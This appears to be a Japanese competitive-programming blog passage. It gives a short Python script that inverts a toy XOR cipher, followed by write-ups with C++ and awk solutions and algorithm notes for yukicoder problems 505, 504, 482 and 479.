普通に逆関数を書くだけ

#!/usr/bin/env python3
import binascii
enc_mes = '0c157e2b7f7b515e075b391f143200080a00050316322b272e0d525017562e73183e3a0d564f6718'
key = 'J2msBeG8'

m = list(binascii.unhexlify(enc_mes))

mes = [ None ] * len(m)
j = 0
for a in range(len(key)):
    i = a
    for b in range(len(m) // len(key)):
        mes[i] = chr(m[j] ^ ord(key[a]))
        j += 1
        i += len(key)
mes = ''.join(mes).rstrip()

print(mes)

Yukicoder No.505 カードの数式2

,

http://yukicoder.me/problems/no/505

case '/': nxt = cur + a[i+1]; break; ってしたまま気付かず提出してWA。 a[i+1] == 0の場合の処理で脳内割り込みがかかったときにそのまま復帰を忘れたのだと思う。

solution

動的計画法。最大値と最小値だけ覚えておけばよい。$O(N)$。

std::setとかで愚直$O(4^N)$しても通るようだ。 制約$N \le 16$より$4^N \le 4.3 \times 10^9$で要素の重複で軽くなる方がstd::setの$O(\log N)$やstd::unordered_setの定数倍より強かったということらしい。

implementation

#include <cstdio>
#include <vector>
#include <limits>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <class T> inline void setmax(T & a, T const & b) { a = max(a, b); }
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }
int main() {
    int n; scanf("%d", &n);
    vector<int> a(n); repeat (i,n) scanf("%d", &a[i]);
    ll cur_min = a[0];
    ll cur_max = a[0];
    repeat (i,n-1) {
        ll nxt_min = numeric_limits<ll>::max();
        ll nxt_max = numeric_limits<ll>::min();
        for (ll cur : { cur_min, cur_max }) {
            for (char op : "+-*/") {
                if (op == '/' and a[i+1] == 0) continue;
                ll nxt;
                switch (op) {
                    case '+': nxt = cur + a[i+1]; break;
                    case '-': nxt = cur - a[i+1]; break;
                    case '*': nxt = cur * a[i+1]; break;
                    case '/': nxt = cur / a[i+1]; break;
                }
                setmin(nxt_min, nxt);
                setmax(nxt_max, nxt);
            }
        }
        cur_min = nxt_min;
        cur_max = nxt_max;
    }
    printf("%lld\n", cur_max);
    return 0;
}

Yukicoder No.504 ゲーム大会(ランキング)

,

http://yukicoder.me/problems/no/504

tailsさんがperlで使っていた???PATTERN?の退化したものらしい: http://perldoc.perl.org/perlop.html#%3fPATTERN%3f。yukicoderはv5.16.3だから使えるが、手元のv5.22.1では削除されていて動かない。

implementation

bash $32$byte

awk 'NR>1,$0=r+=!!(a?a<$0:a=$0)'

元実装:

#include <stdio.h>
int main() {
    int n; scanf("%d", &n);
    int a; scanf("%d", &a); -- n;
    int rank = 1;
    printf("%d\n", rank);
    while (n --) {
        int b; scanf("%d", &b);
        if (a < b) ++ rank;
        printf("%d\n", rank);
    }
    return 0;
}

Yukicoder No.482 あなたの名は

,

http://yukicoder.me/problems/no/482

overflowでWA。-fsanitize=undefined しててもscanfの中の話は範囲外らしい。

solution

整列するために必要なswapの最小回数を$t$として$(k - t) \ge 0 \land (k - t) \equiv 0 \pmod{2}$が答え。$O(N)$。

最小回数で整列させるのは貪欲にやればよい。 その後余った回数は$2$つずつ消費する。 置換の偶奇性により、その結果$1$つだけ余ってしまうようならどうやっても無理。

implementation

#include <cstdio>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
int main() {
    int n; ll k; scanf("%d%lld", &n, &k);
    vector<int> d(n); repeat (i,n) { scanf("%d", &d[i]); -- d[i]; }
    vector<int> e(n); repeat (i,n) e[d[i]] = i;
    repeat (i,n) {
        if (d[i] != i) {
            int j = e[i];
            swap(d[i], d[j]);
            e[d[i]] = i;
            e[d[j]] = j;
            k -= 1;
        }
    }
    bool result = k >= 0 and k % 2 == 0;
    printf("%s\n", result ? "YES" : "NO");
    return 0;
}

Yukicoder No.479 頂点は要らない

,

http://yukicoder.me/problems/no/479

グラフの図があり丁寧でよい。

solution

番号の小さい頂点から辺を使い尽くすまで貪欲に全て使い、その後番号の大きい頂点から不必要なら外していく。$O(N + M)$。

$2$進数どうこうというのは、使うか使わないかがbitに対応すると考えれば使った頂点番号を逆順に整列して辞書順最小といいなおせる。 これにより$i$番目を使うのより$\{ j \mid j \lt i \}$の全てを使う方が有利であり、まずは貪欲に使う。 辺を使い尽した後もだいたい同様。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    // input
    int n, m; scanf("%d%d", &n, &m);
    vector<int> a(m), b(m); repeat (i,m) scanf("%d%d", &a[i], &b[i]);
    // prepare list
    vector<vector<int> > g(n);
    repeat (i,m) {
        g[a[i]].push_back(i);
        g[b[i]].push_back(i);
    }
    // solve
    // // greedy
    vector<bool> result(n);
    vector<int> used(m);
    int count_used = 0;
    repeat (j,n) {
        result[j] = true;
        for (int i : g[j]) {
            if (used[i] == 0) count_used += 1;
            used[i] += 1;
        }
        if (count_used == m) break;
    }
    // // remove unnecessary vertices
    repeat_reverse (j,n) if (result[j]) {
        bool is_removable = true;
        for (int i : g[j]) {
            if (used[i] == 1) is_removable = false;
        }
        if (is_removable) {
            result[j] = false;
            for (int i : g[j]) {
                used[i] -= 1;
            }
        }
    }
    // output
    while (result.size() >= 2 and result.back() == false) result.pop_back();
    whole(reverse, result);
    for (bool p : result) printf("%d", p);
    printf("\n");
    return 0;
}